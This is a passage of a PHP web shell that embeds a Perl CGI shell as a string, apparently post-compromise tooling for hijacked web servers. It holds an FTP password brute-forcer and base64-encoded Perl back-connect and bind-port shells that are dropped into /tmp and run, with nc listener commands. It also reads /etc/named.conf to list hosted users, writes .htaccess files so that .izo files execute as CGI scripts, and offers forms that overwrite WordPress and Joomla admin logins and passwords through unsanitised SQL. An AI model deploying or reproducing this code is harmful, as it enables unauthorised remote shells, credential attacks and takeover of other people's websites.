\$ServerName<br>====================>>>>>>>>>>>><<<<<<<<<<====================<br><br>\\n\";\n\t\tforeach \$username (@user)\n\t\t{\n\t\t\tif(!(\$username eq \"\"))\n\t\t\t{\n\t\t\t\tforeach \$password (@pass)\n\t\t\t\t{\n\t\t\t\t\t\$ftp = Net::FTP->new(\$Server) or die \"Could not connect to \$ServerName\\n\"; \n\t\t\t\t\tif(\$ftp->login(\"\$username\",\"\$password\"))\n\t\t\t\t\t{\n\t\t\t\t\t\t\$result .= \"<a target='_blank' href='ftp://\$username:\$password\\@\$Server'>[+] ftp://\$username:\$password\\@\$Server</a><br>\\n\";\n\t\t\t\t\t\t\$ftp->quit();\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t\tif(!(\$in{'sleep'} eq \"0\"))\n\t\t\t\t\t{\n\t\t\t\t\t\tsleep(int(\$in{'sleep'}));\n\t\t\t\t\t}\n\t\t\t\t\t\$ftp->quit();\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t\$result .= \"\\n<br>==========>>>>>>>>>> Finished <<<<<<<<<<==========<br>\\n\";\n\t}\n\treturn \$result;\n}\n#------------------------------------------------------------------------------\n# Backconnect Form\n#------------------------------------------------------------------------------\nsub BackBindForm\n{\n\treturn <<END;\n\t<br><br>\n\n\t<table>\n\t<tr>\n\t<form name=\"f\" method=\"POST\" action=\"\$ScriptLocation\">\n\t<td>BackConnect: <input type=\"hidden\" name=\"a\" value=\"backbind\"></td>\n\t<td> Host: <input type=\"text\" size=\"20\" name=\"clientaddr\" value=\"\$ENV{'REMOTE_ADDR'}\">\n\t Port: <input type=\"text\" size=\"7\" name=\"clientport\" value=\"80\" onkeyup=\"document.getElementById('ba').innerHTML=this.value;\"></td>\n\n\t<td><input name=\"s\" class=\"submit\" type=\"submit\" name=\"submit\" value=\"Connect\"></td>\n\t</form>\n\t</tr>\n\t<tr>\n\t<td colspan=3><font color=#FFFFFF>[+] Client listen before connect back!\n\t<br>[+] Try check your Port with <a target=\"_blank\" href=\"http://www.canyouseeme.org/\">http://www.canyouseeme.org/</a>\n\t<br>[+] Client listen with command: <run>nc -vv -l -p <span id=\"ba\">80</span></run></font></td>\n\n\t</tr>\n\t</table>\n\n\t<br><br>\n\t<table>\n\t<tr>\n\t<form method=\"POST\" action=\"\$ScriptLocation\">\n\t<td>Bind Port: <input type=\"hidden\" name=\"a\" value=\"backbind\"></td>\n\n\t<td> Port: <input type=\"text\" size=\"15\" name=\"clientport\" value=\"1412\" onkeyup=\"document.getElementById('bi').innerHTML=this.value;\">\n\n\t Password: <input type=\"text\" size=\"15\" name=\"bindpass\" value=\"THIEUGIABUON\"></td>\n\t<td><input name=\"s\" class=\"submit\" type=\"submit\" name=\"submit\" value=\"Bind\"></td>\n\t</form>\n\t</tr>\n\t<tr>\n\t<td colspan=3><font color=#FFFFFF>[+] Chuc nang chua dc test!\n\t<br>[+] Try command: <run>nc \$ENV{'SERVER_ADDR'} <span id=\"bi\">1412</span></run></font></td>\n\n\t</tr>\n\t</table><br>\nEND\n}\n#------------------------------------------------------------------------------\n# Backconnect use perl\n#------------------------------------------------------------------------------\nsub BackBind\n{\n\tuse MIME::Base64;\n\tuse Socket;\t\n\t\$backperl=\"IyEvdXNyL2Jpbi9wZXJsDQp1c2UgSU86OlNvY2tldDsNCiRTaGVsbAk9ICIvYmluL2Jhc2giOw0KJEFSR0M9QEFSR1Y7DQp1c2UgU29ja2V0Ow0KdXNlIEZpbGVIYW5kbGU7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoInRjcCIpKSBvciBkaWUgcHJpbnQgIlstXSBVbmFibGUgdG8gUmVzb2x2ZSBIb3N0XG4iOw0KY29ubmVjdChTT0NLRVQsIHNvY2thZGRyX2luKCRBUkdWWzFdLCBpbmV0X2F0b24oJEFSR1ZbMF0pKSkgb3IgZGllIHByaW50ICJbLV0gVW5hYmxlIHRvIENvbm5lY3QgSG9zdFxuIjsNCnByaW50ICJDb25uZWN0ZWQhIjsNClNPQ0tFVC0+YXV0b2ZsdXNoKCk7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCI+JlNPQ0tFVCIpOw0Kb3BlbihTVERFUlIsIj4mU09DS0VUIik7DQpwcmludCAiLS09PSBDb25uZWN0ZWQgQmFja2Rvb3IgPT0tLSAgXG5cbiI7DQpzeXN0ZW0oInVuc2V0IEhJU1RGSUxFOyB1bnNldCBTQVZFSElTVCA7ZWNobyAnWytdIFN5c3RlbWluZm86ICc7IHVuYW1lIC1hO2VjaG87ZWNobyAnWytdIFVzZXJpbmZvOiAnOyBpZDtlY2hvO2VjaG8gJ1srXSBEaXJlY3Rvcnk6ICc7IHB3ZDtlY2hvOyBlY2hvICdbK10gU2hlbGw6ICc7JFNoZWxsIik7DQpjbG9zZSBTT0NLRVQ7\";\n\t\$bindperl=\"IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJEFSR0M9QEFSR1Y7DQokcG9ydAk9ICRBUkdWWzBdOw0KJHByb3RvCT0gZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0KJFNoZWxsCT0gIi9iaW4vYmFzaCI7DQpzb2NrZXQoU0VSVkVSLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKW9yIGRpZSAic29ja2V0OiQhIjsNCnNldHNvY2tvcHQoU0VSVkVSLCBTT0xfU09DS0VULCBTT19SRVVTRUFERFIsIHBhY2soImwiLCAxKSlvciBkaWUgInNldHNvY2tvcHQ6ICQhIjsNCmJpbmQoU0VSVkVSLCBzb2NrYWRkcl9pbigkcG9ydCwgSU5BRERSX0FOWSkpb3IgZGllICJiaW5kOiAkISI7DQpsaXN0ZW4oU0VSVkVSLCBTT01BWENPTk4pCQlvciBkaWUgImxpc3RlbjogJCEiOw0KZm9yKDsgJHBhZGRyID0gYWNjZXB0KENMSUVOVCwgU0VSVkVSKTsgY2xvc2UgQ0xJRU5UKQ0Kew0KCW9wZW4oU1RESU4sICI+JkNMSUVOVCIpOw0KCW9wZW4oU1RET1VULCAiPiZDTElFTlQiKTsNCglvcGVuKFNUREVSUiwgIj4mQ0xJRU5UIik7DQoJc3lzdGVtKCJ1bnNldCBISVNURklMRTsgdW5zZXQgU0FWRUhJU1QgO2VjaG8gJ1srXSBTeXN0ZW1pbmZvOiAnOyB1bmFtZSAtYTtlY2hvO2VjaG8gJ1srXSBVc2VyaW5mbzogJzsgaWQ7ZWNobztlY2hvICdbK10gRGlyZWN0b3J5OiAnOyBwd2Q7ZWNobzsgZWNobyAnWytdIFNoZWxsOiAnOyRTaGVsbCIpOw0KCWNsb3NlKFNURElOKTsNCgljbG9zZShTVERPVVQpOw0KCWNsb3NlKFNUREVSUik7DQp9DQo=\";\n\n\t\$ClientAddr = \$in{'clientaddr'};\n\t\$ClientPort = int(\$in{'clientport'});\n\tif(\$ClientPort eq 0)\n\t{\n\t\treturn &BackBindForm;\n\t}elsif(!\$ClientAddr eq \"\")\n\t{\n\t\t\$Data=decode_base64(\$backperl);\n\t\tif(-w \"/tmp/\")\n\t\t{\n\t\t\t\$File=\"/tmp/backconnect.pl\";\t\n\t\t}else\n\t\t{\n\t\t\t\$File=\$CurrentDir.\$PathSep.\"backconnect.pl\";\n\t\t}\n\t\topen(FILE, \">\$File\");\n\t\tprint FILE \$Data;\n\t\tclose FILE;\n\t\tsystem(\"perl backconnect.pl \$ClientAddr \$ClientPort\");\n\t\tunlink(\$File);\n\t\texit 0;\n\t}else\n\t{\n\t\t\$Data=decode_base64(\$bindperl);\n\t\tif(-w \"/tmp\")\n\t\t{\n\t\t\t\$File=\"/tmp/bindport.pl\";\t\n\t\t}else\n\t\t{\n\t\t\t\$File=\$CurrentDir.\$PathSep.\"bindport.pl\";\n\t\t}\n\t\topen(FILE, \">\$File\");\n\t\tprint FILE \$Data;\n\t\tclose FILE;\n\t\tsystem(\"perl bindport.pl \$ClientPort\");\n\t\tunlink(\$File);\n\t\texit 0;\n\t}\n}\n#------------------------------------------------------------------------------\n# Array List Directory\n#------------------------------------------------------------------------------\nsub RmDir(\$) \n{\n\tmy \$dir = shift;\n if(opendir(DIR,\$dir))\n\t{\n\t\twhile(\$file = readdir(DIR))\n\t\t{\n\t\t\tif((\$file ne \".\") && (\$file ne \"..\"))\n\t\t\t{\n\t\t\t\t\$file= \$dir.\$PathSep.\$file;\n\t\t\t\tif(-d \$file)\n\t\t\t\t{\n\t\t\t\t\t&RmDir(\$file);\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tunlink(\$file);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tclosedir(DIR);\n\t}\n\tif(!rmdir(\$dir))\n\t{\n\t\t\n\t}\n}\nsub FileOwner(\$)\n{\n\tmy \$file = shift;\n\tif(-e \$file)\n\t{\n\t\t(\$uid,\$gid) = (stat(\$file))[4,5];\n\t\tif(\$WinNT)\n\t\t{\n\t\t\treturn \"???\";\n\t\t}\n\t\telse\n\t\t{\n\t\t\t\$name=getpwuid(\$uid);\n\t\t\t\$group=getgrgid(\$gid);\n\t\t\treturn \$name.\"/\".\$group;\n\t\t}\n\t}\n\treturn \"???\";\n}\nsub ParentFolder(\$)\n{\n\tmy \$path = shift;\n\tmy \$Comm = \"cd \\\"\$CurrentDir\\\"\".\$CmdSep.\"cd ..\".\$CmdSep.\$CmdPwd;\n\tchop(\$path = `\$Comm`);\n\treturn \$path;\n}\nsub FilePerms(\$)\n{\n\tmy \$file = shift;\n\tmy \$ur = \"-\";\n\tmy \$uw = \"-\";\n\tif(-e \$file)\n\t{\n\t\tif(\$WinNT)\n\t\t{\n\t\t\tif(-r \$file){ \$ur = \"r\"; }\n\t\t\tif(-w \$file){ \$uw = \"w\"; }\n\t\t\treturn \$ur . \" / \" . \$uw;\n\t\t}else\n\t\t{\n\t\t\t\$mode=(stat(\$file))[2];\n\t\t\t\$result = sprintf(\"%04o\", \$mode & 07777);\n\t\t\treturn \$result;\n\t\t}\n\t}\n\treturn \"0000\";\n}\nsub FileLastModified(\$)\n{\n\tmy \$file = shift;\n\tif(-e \$file)\n\t{\n\t\t(\$la) = (stat(\$file))[9];\n\t\t(\$d,\$m,\$y,\$h,\$i) = (localtime(\$la))[3,4,5,2,1];\n\t\t\$y = \$y + 1900;\n\t\t@month = qw/1 2 3 4 5 6 7 8 9 10 11 12/;\n\t\t\$lmtime = sprintf(\"%02d/%s/%4d %02d:%02d\",\$d,\$month[\$m],\$y,\$h,\$i);\n\t\treturn \$lmtime;\n\t}\n\treturn \"???\";\n}\nsub FileSize(\$)\n{\n\tmy \$file = shift;\n\tif(-f \$file)\n\t{\n\t\treturn -s \$file;\n\t}\n\treturn \"0\";\n\n}\nsub ParseFileSize(\$)\n{\n\tmy \$size = shift;\n\tif(\$size <= 1024)\n\t{\n\t\treturn \$size. \" B\";\n\t}\n\telse\n\t{\n\t\tif(\$size <= 1024*1024) \n\t\t{\n\t\t\t\$size = sprintf(\"%.02f\",\$size / 1024);\n\t\t\treturn \$size.\" KB\";\n\t\t}\n\t\telse \n\t\t{\n\t\t\t\$size = sprintf(\"%.2f\",\$size / 1024 / 1024);\n\t\t\treturn \$size.\" MB\";\n\t\t}\n\t}\n}\nsub trim(\$)\n{\n\tmy \$string = shift;\n\t\$string =~ s/^\\s+//;\n\t\$string =~ s/\\s+\$//;\n\treturn \$string;\n}\nsub AddSlashes(\$)\n{\n\tmy \$string = shift;\n\t\$string=~ s/\\\\/\\\\\\\\/g;\n\treturn \$string;\n}\nsub ListDir\n{\n\tmy \$path = \$CurrentDir.\$PathSep;\n\t\$path=~ s/\\\\\\\\/\\\\/g;\n\tmy \$result = \"<form name='f' action='\$ScriptLocation'><span style='font: 11pt Verdana; font-weight: bold;'>Path: [ \".&AddLinkDir(\"gui\").\" ] </span><input type='text' name='d' size='40' value='\$CurrentDir' /><input type='hidden' name='a' value='gui'><input class='submit' type='submit' value='Change'></form>\";\n\tif(-d \$path)\n\t{\n\t\tmy @fname = ();\n\t\tmy @dname = ();\n\t\tif(opendir(DIR,\$path))\n\t\t{\n\t\t\twhile(\$file = readdir(DIR))\n\t\t\t{\n\t\t\t\t\$f=\$path.\$file;\n\t\t\t\tif(-d \$f)\n\t\t\t\t{\n\t\t\t\t\tpush(@dname,\$file);\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tpush(@fname,\$file);\n\t\t\t\t}\n\t\t\t}\n\t\t\tclosedir(DIR);\n\t\t}\n\t\t@fname = sort { lc(\$a) cmp lc(\$b) } @fname;\n\t\t@dname = sort { lc(\$a) cmp lc(\$b) } @dname;\n\t\t\$result .= \"<div><table width='90%' class='listdir'>\n\n\t\t<tr style='background-color: #3e3e3e'><th>File Name</th>\n\t\t<th style='width:100px;'>File Size</th>\n\t\t<th style='width:150px;'>Owner</th>\n\t\t<th style='width:100px;'>Permission</th>\n\t\t<th style='width:150px;'>Last Modified</th>\n\t\t<th style='width:260px;'>Action</th></tr>\";\n\t\tmy \$style=\"line\";\n\t\tmy \$i=0;\n\t\tforeach my \$d (@dname)\n\t\t{\n\t\t\t\$style= (\$style eq \"line\") ? \"notline\": \"line\";\n\t\t\t\$d = &trim(\$d);\n\t\t\t\$dirname=\$d;\n\t\t\tif(\$d eq \"..\") \n\t\t\t{\n\t\t\t\t\$d = &ParentFolder(\$path);\n\t\t\t}\n\t\t\telsif(\$d eq \".\") \n\t\t\t{\n\t\t\t\t\$d = \$path;\n\t\t\t}\n\t\t\telse \n\t\t\t{\n\t\t\t\t\$d = \$path.\$d;\n\t\t\t}\n\t\t\t\$result .= \"<tr class='\$style'>\n\n\t\t\t<td id='File_\$i' style='font: 11pt Verdana; font-weight: bold;'><a href='?a=gui&d=\".\$d.\"'>[ \".\$dirname.\" ]</a></td>\";\n\t\t\t\$result .= \"<td>DIR</td>\";\n\t\t\t\$result .= \"<td style='text-align:center;'>\".&FileOwner(\$d).\"</td>\";\n\t\t\t\$result .= \"<td id='FilePerms_\$i' style='text-align:center;' ondblclick=\\\"rm_chmod_form(this,\".\$i.\",'\".&FilePerms(\$d).\"','\".\$dirname.\"')\\\" ><span onclick=\\\"chmod_form(\".\$i.\",'\".\$dirname.\"')\\\" >\".&FilePerms(\$d).\"</span></td>\";\n\t\t\t\$result .= \"<td style='text-align:center;'>\".&FileLastModified(\$d).\"</td>\";\n\t\t\t\$result .= \"<td style='text-align:center;'><a href='javascript:return false;' onclick=\\\"rename_form(\$i,'\$dirname','\".&AddSlashes(&AddSlashes(\$d)).\"')\\\">Rename</a> | <a onclick=\\\"if(!confirm('Remove dir: \$dirname ?')) { return false;}\\\" href='?a=gui&d=\$path&remove=\$dirname'>Remove</a></td>\";\n\t\t\t\$result .= \"</tr>\";\n\t\t\t\$i++;\n\t\t}\n\t\tforeach my \$f (@fname)\n\t\t{\n\t\t\t\$style= (\$style eq \"line\") ? \"notline\": \"line\";\n\t\t\t\$file=\$f;\n\t\t\t\$f = \$path.\$f;\n\t\t\t\$view = \"?dir=\".\$path.\"&view=\".\$f;\n\t\t\t\$result .= \"<tr class='\$style'><td id='File_\$i' style='font: 11pt Verdana;'><a href='?a=command&d=\".\$path.\"&c=edit%20\".\$file.\"'>\".\$file.\"</a></td>\";\n\t\t\t\$result .= \"<td>\".&ParseFileSize(&FileSize(\$f)).\"</td>\";\n\t\t\t\$result .= \"<td style='text-align:center;'>\".&FileOwner(\$f).\"</td>\";\n\t\t\t\$result .= \"<td id='FilePerms_\$i' style='text-align:center;' ondblclick=\\\"rm_chmod_form(this,\".\$i.\",'\".&FilePerms(\$f).\"','\".\$file.\"')\\\" ><span onclick=\\\"chmod_form(\$i,'\$file')\\\" >\".&FilePerms(\$f).\"</span></td>\";\n\t\t\t\$result .= \"<td style='text-align:center;'>\".&FileLastModified(\$f).\"</td>\";\n\t\t\t\$result .= \"<td style='text-align:center;'><a href='?a=command&d=\".\$path.\"&c=edit%20\".\$file.\"'>Edit</a> | <a href='javascript:return false;' onclick=\\\"rename_form(\$i,'\$file','f')\\\">Rename</a> | <a href='?a=download&o=go&f=\".\$f.\"'>Download</a> | <a onclick=\\\"if(!confirm('Remove file: \$file ?')) { return false;}\\\" href='?a=gui&d=\$path&remove=\$file'>Remove</a></td>\";\n\t\t\t\$result .= \"</tr>\";\n\t\t\t\$i++;\n\t\t}\n\t\t\$result .= \"</table></div>\";\n\t}\n\treturn \$result;\n}\n#------------------------------------------------------------------------------\n# Try to View List User\n#------------------------------------------------------------------------------\nsub ViewDomainUser\n{\n\topen (domains, '/etc/named.conf') or \$err=1;\n\tmy @cnzs = <domains>;\n\tclose d0mains;\n\tmy \$style=\"line\";\n\tmy \$result=\"<h5><font style='font: 15pt Verdana;color: #ff9900;'>Hoang Sa - Truong Sa</font></h5>\";\n\tif (\$err)\n\t{\n\t\t\$result .= ('<p>C0uldn\\'t Bypass it , Sorry</p>');\n\t\treturn \$result;\n\t}else\n\t{\n\t\t\$result .= '<table><tr><th>Domains</th> <th>User</th></tr>';\n\t}\n\tforeach my \$one (@cnzs)\n\t{\n\t\tif(\$one =~ m/.*?zone \"(.*?)\" {/)\n\t\t{\t\n\t\t\t\$style= (\$style eq \"line\") ? \"notline\": \"line\";\n\t\t\t\$filename= \"/etc/valiases/\".\$one;\n\t\t\t\$owner = getpwuid((stat(\$filename))[4]);\n\t\t\t\$result .= '<tr class=\"\$style\" width=50%><td>'.\$one.' </td><td> '.\$owner.'</td></tr>';\n\t\t}\n\t}\n\t\$result .= '</table>';\n\treturn \$result;\n}\n#------------------------------------------------------------------------------\n# View Log\n#------------------------------------------------------------------------------\nsub ViewLog\n{\n\tif(\$WinNT)\n\t{\n\t\treturn \"<h2><font style='font: 20pt Verdana;color: #ff9900;'>Don't run on Windows</font></h2>\";\n\t}\n\tmy \$result=\"<table><tr><th>Path Log</th><th>Submit</th></tr>\";\n\tmy @pathlog=(\n\t\t\t\t'/usr/local/apache/logs/error_log',\n\t\t\t\t'/var/log/httpd/error_log',\n\t\t\t\t'/usr/local/apache/logs/access_log'\n\t\t\t\t);\n\tmy \$i=0;\n\tmy \$perms;\n\tmy \$sl;\n\tforeach my \$log (@pathlog)\n\t{\n\t\tif(-w \$log)\n\t\t{\n\t\t\t\$perms=\"OK\";\n\t\t}else\n\t\t{\n\t\t\tchop(\$sl = `ln -s \$log error_log_\$i`);\n\t\t\tif(&trim(\$ls) eq \"\")\n\t\t\t{\n\t\t\t\tif(-r \$ls)\n\t\t\t\t{\n\t\t\t\t\t\$perms=\"OK\";\n\t\t\t\t\t\$log=\"error_log_\".\$i;\n\t\t\t\t}\n\t\t\t}else\n\t\t\t{\n\t\t\t\t\$perms=\"<font style='color: red;'>Cancel<font>\";\n\t\t\t}\n\t\t}\n\t\t\$result .=<<END;\n\t\t<tr>\n\n\t\t\t<form action=\"\" method=\"post\">\n\t\t\t<td><input type=\"text\" onkeyup=\"document.getElementById('log_\$i').value='less ' + this.value;\" value=\"\$log\" size='50'/></td>\n\t\t\t<td><input class=\"submit\" type=\"submit\" value=\"Try\" /></td>\n\t\t\t<input type=\"hidden\" id=\"log_\$i\" name=\"c\" value=\"less \$log\"/>\n\t\t\t<input type=\"hidden\" name=\"a\" value=\"command\" />\n\t\t\t<input type=\"hidden\" name=\"d\" value=\"\$CurrentDir\" />\n\t\t\t</form>\n\t\t\t<td>\$perms</td>\n\n\t\t</tr>\nEND\n\t\t\$i++;\n\t}\n\t\$result .=\"</table>\";\n\treturn \$result;\n}\n#------------------------------------------------------------------------------\n# Main Program - Execution Starts Here\n#------------------------------------------------------------------------------\n&ReadParse;\n&GetCookies;\n\n\$ScriptLocation = \$ENV{'SCRIPT_NAME'};\n\$ServerName = \$ENV{'SERVER_NAME'};\n\$LoginPassword = \$in{'p'};\n\$RunCommand = \$in{'c'};\n\$TransferFile = \$in{'f'};\n\$Options = \$in{'o'};\n\$Action = \$in{'a'};\n\n\$Action = \"command\" if(\$Action eq \"\"); # no action specified, use default\n\n# get the directory in which the commands will be executed\n\$CurrentDir = &trim(\$in{'d'});\n# mac dinh xuat thong tin neu ko co lenh nao!\n\$RunCommand= \$WinNT?\"dir\":\"dir -lia\" if(\$RunCommand eq \"\");\nchop(\$CurrentDir = `\$CmdPwd`) if(\$CurrentDir eq \"\");\n\n\$LoggedIn = \$Cookies{'SAVEDPWD'} eq \$Password;\n\nif(\$Action eq \"login\" || !\$LoggedIn) \t\t# user needs/has to login\n{\n\t&PerformLogin;\n}elsif(\$Action eq \"gui\") # GUI directory\n{\n\t&PrintPageHeader;\n\tif(!\$WinNT)\n\t{\n\t\t\$chmod=int(\$in{'chmod'});\n\t\tif(!(\$chmod eq 0))\n\t\t{\n\t\t\t\$chmod=int(\$in{'chmod'});\n\t\t\t\$file=\$CurrentDir.\$PathSep.\$TransferFile;\n\t\t\tchop(\$result= `chmod \$chmod \"\$file\"`);\n\t\t\tif(&trim(\$result) eq \"\")\n\t\t\t{\n\t\t\t\tprint \"<run> Done! </run><br>\";\n\t\t\t}else\n\t\t\t{\n\t\t\t\tprint \"<run> Sorry! You dont have permissions! </run><br>\";\n\t\t\t}\n\t\t}\n\t}\n\t\$rename=\$in{'rename'};\n\tif(!\$rename eq \"\")\n\t{\n\t\tif(rename(\$TransferFile,\$rename))\n\t\t{\n\t\t\tprint \"<run> Done! </run><br>\";\n\t\t}else\n\t\t{\n\t\t\tprint \"<run> Sorry! You dont have permissions! </run><br>\";\n\t\t}\n\t}\n\t\$remove=\$in{'remove'};\n\tif(\$remove ne \"\")\n\t{\n\t\t\$rm = \$CurrentDir.\$PathSep.\$remove;\n\t\tif(-d \$rm)\n\t\t{\n\t\t\t&RmDir(\$rm);\n\t\t}else\n\t\t{\n\t\t\tif(unlink(\$rm))\n\t\t\t{\n\t\t\t\tprint \"<run> Done! </run><br>\";\n\t\t\t}else\n\t\t\t{\n\t\t\t\tprint \"<run> Sorry! You dont have permissions! </run><br>\";\n\t\t\t}\t\t\t\n\t\t}\n\t}\n\tprint &ListDir;\n\n}\nelsif(\$Action eq \"command\")\t\t\t\t \t# user wants to run a command\n{\n\t&PrintPageHeader(\"c\");\n\tprint &ExecuteCommand;\n}\nelsif(\$Action eq \"save\")\t\t\t\t \t# user wants to save a file\n{\n\t&PrintPageHeader;\n\tif(&SaveFile(\$in{'data'},\$in{'file'}))\n\t{\n\t\tprint \"<run> Done! </run><br>\";\n\t}else\n\t{\n\t\tprint \"<run> Sorry! You dont have permissions! </run><br>\";\n\t}\n\tprint &ListDir;\n}\nelsif(\$Action eq \"upload\") \t\t\t\t\t# user wants to upload a file\n{\n\t&PrintPageHeader;\n\n\tprint &UploadFile;\n}\nelsif(\$Action eq \"backbind\") \t\t\t\t# user wants to back connect or bind port\n{\n\t&PrintPageHeader(\"clientport\");\n\tprint &BackBind;\n}\nelsif(\$Action eq \"bruteforcer\") \t\t\t# user wants to brute force\n{\n\t&PrintPageHeader;\n\tprint &BruteForcer;\n}elsif(\$Action eq \"download\") \t\t\t\t# user wants to download a file\n{\n\tprint &DownloadFile;\n}elsif(\$Action eq \"checklog\") \t\t\t\t# user wants to view log file\n{\n\t&PrintPageHeader;\n\tprint &ViewLog;\n\n}elsif(\$Action eq \"domainsuser\") \t\t\t# user wants to view list user/domain\n{\n\t&PrintPageHeader;\n\tprint &ViewDomainUser;\n}elsif(\$Action eq \"logout\") \t\t\t\t# user wants to logout\n{\n\t&PerformLogout;\n}\n&PrintPageFooter;");
fclose($file);
chmod("cgi2012.izo", 0755);
echo " <iframe src=cgi2012/cgi2012.izo width=96% height=76% frameborder=0></iframe>\r\n \r\n </div>";
} elseif (isset($_GET['x']) && $_GET['x'] == 'config') {
?>
<form action="?y=<?php
echo $pwd;
?>&x=config" method="post">
<?php
echo "<center/><br/><b><font color=#00ff00>+--==[ Config Shell Priv8 SCR ]==--+</font></b><br><br>";
mkdir('config', 0755);
chdir('config');
$kokdosya = ".htaccess";
$dosya_adi = ".htaccess";
$dosya = fopen($dosya_adi, 'w') or die("Error cuyy!");
$metin = "Options FollowSymLinks MultiViews Indexes ExecCGI\r\n\t\t\r\nAddType application/x-httpd-cgi .cpc\r\n\r\nAddHandler cgi-script .izo\r\nAddHandler cgi-script .izo";
fwrite($dosya, $metin);
fclose($dosya);
$file = fopen("config.izo", "w+");
$write = fwrite($file, base64_decode($configshell));
fclose($file);
chmod("config.izo", 0755);
echo "<iframe src=config/config.izo width=97% height=100% frameborder=0></iframe>\r\n </div>";
} elseif (isset($_GET['x']) && $_GET['x'] == 'wp-reset') {
?>
<form action="?y=<?php
echo $pwd;
?>&x=wp-reset" method="post">
<?php
echo "<center/><br/><b><font color=#00ff00>+--==[ Wordpress Reset Password ]==--+</font></b><br><br>";
if (empty($_POST['pwd'])) {
echo "<FORM method='POST'>\r\n<table class='tabnet' style='width:300px;'> <tr><th colspan='2'>Connect to mySQL server</th></tr> <tr><td> Hostname</td><td>\r\n<input style='width:220px;' class='inputz' type='text' name='localhost' value='localhost' /></td></tr> <tr><td> Database</td><td>\r\n<input style='width:220px;' class='inputz' type='text' name='database' value='wp-' /></td></tr> <tr><td> username</td><td>\r\n<input style='width:220px;' class='inputz' type='text' name='username' value='wp-' /></td></tr> <tr><td> password</td><td>\r\n<input style='width:220px;' class='inputz' type='text' name='password' value='**' /></td></tr>\r\n<tr><td> User baru</td><td>\r\n<input style='width:220px;' class='inputz' type='text' name='admin' value='admin' /></td></tr>\r\n <tr><td> Pass Baru</td><td>\r\n<input style='width:80px;' class='inputz' type='text' name='pwd' value='123456' /> \r\n\r\n<input style='width:19%;' class='inputzbut' type='submit' value='change!' name='send' /></FORM>\r\n</td></tr> </table><br><br><br><br>\r\n";
} else {
$localhost = $_POST['localhost'];
$database = $_POST['database'];
$username = $_POST['username'];
$password = $_POST['password'];
$pwd = $_POST['pwd'];
$admin = $_POST['admin'];
@mysql_connect($localhost, $username, $password) or die(mysql_error());
@mysql_select_db($database) or die(mysql_error());
$hash = crypt($pwd);
$a4s = @mysql_query("UPDATE wp_users SET user_login ='" . $admin . "' WHERE ID = 1") or die(mysql_error());
$a4s = @mysql_query("UPDATE wp_users SET user_pass ='" . $hash . "' WHERE ID = 1") or die(mysql_error());
$a4s = @mysql_query("UPDATE wp_users SET user_login ='" . $admin . "' WHERE ID = 2") or die(mysql_error());
$a4s = @mysql_query("UPDATE wp_users SET user_pass ='" . $hash . "' WHERE ID = 2") or die(mysql_error());
$a4s = @mysql_query("UPDATE wp_users SET user_login ='" . $admin . "' WHERE ID = 3") or die(mysql_error());
$a4s = @mysql_query("UPDATE wp_users SET user_pass ='" . $hash . "' WHERE ID = 3") or die(mysql_error());
$a4s = @mysql_query("UPDATE wp_users SET user_email ='" . $SQL . "' WHERE ID = 1") or die(mysql_error());
if ($a4s) {
echo "<b> Success ..!! :)) sekarang bisa login ke wp-admin</b> ";
}
}
echo "\r\n </div>";
} elseif (isset($_GET['x']) && $_GET['x'] == 'jm-reset') {
?>
<form action="?y=<?php
echo $pwd;
?>&x=jm-reset" method="post">
<?php
echo "<center/><br/><b><font color=#00ff00>+--==[ Joomla Reset Password ]==--+</font></b><br><br>";
if (empty($_POST['pwd'])) {
echo "<FORM method='POST'><table class='tabnet' style='width:300px;'> <tr><th colspan='2'>Connect to mySQL </th></tr> <tr><td> Host</td><td>\r\n<input style='width:270px;' class='inputz' type='text' name='localhost' value='localhost' /></td></tr> <tr><td> Database</td><td>\r\n<input style='width:270px;' class='inputz' type='text' name='database' value='database' /></td></tr> <tr><td> username</td><td>\r\n<input style='width:270px;' class='inputz' type='text' name='username' value='db_user' /></td></tr> <tr><td> password</td><td>\r\n<input style='width:270px;' class='inputz' type='password' name='password' value='**' /></td></tr>\r\n<tr><td> User baru</td><td>\r\n<input style='width:270px;' class='inputz' name='admin' value='admin' /></td></tr>\r\n <tr><td> pass baru </td><td>123456 = \r\n<input style='width:130px;' class='inputz' name='pwd' value='e10adc3949ba59abbe56e057f20f883e' /> \r\n\r\n<input style='width:23%;' class='inputzbut' type='submit' value='change!' name='send' /></FORM>\r\n</td></tr> </table><br><br><br><br>\r\n";
} else {
$localhost = $_POST['localhost'];
$database = $_POST['database'];
$username = $_POST['username'];
$password = $_POST['password'];
$pwd = $_POST['pwd'];
$admin = $_POST['admin'];
@mysql_connect($localhost, $username, $password) or die(mysql_error());
@mysql_select_db($database) or die(mysql_error());
$hash = crypt($pwd);
$SQL = @mysql_query("UPDATE jos_users SET username ='" . $admin . "' WHERE ID = 62") or die(mysql_error());
$SQL = @mysql_query("UPDATE jos_users SET password ='" . $pwd . "' WHERE ID = 62") or die(mysql_error());
$SQL = @mysql_query("UPDATE jos_users SET username ='" . $admin . "' WHERE ID = 63") or die(mysql_error());
$SQL = @mysql_query("UPDATE jos_users SET password ='" . $pwd . "' WHERE ID = 63") or die(mysql_error());
$SQL = @mysql_query("UPDATE jos_users SET username ='" . $admin . "' WHERE ID = 64") or die(mysql_error());
$SQL = @mysql_query("UPDATE jos_users SET password ='" . $pwd . "' WHERE ID = 64") or die(mysql_error());
$SQL = @mysql_query("UPDATE jos_users SET username ='" . $admin . "' WHERE ID = 65") or die(mysql_error());
$SQL = @mysql_query("UPDATE jos_users SET password ='" . $pwd . "' WHERE ID = 65") or die(mysql_error());
if ($SQL) {
echo "<b>Success : skarang password barunya >>> - (123456)";
}
}
echo "\r\n </div>";
} elseif (isset($_GET['x']) && $_GET['x'] == 'adfin') {
?>
<form action="?y=<?php
echo $pwd;
?>&x=adfin" method="post">
<?php
set_time_limit(0);
error_reporting(0);
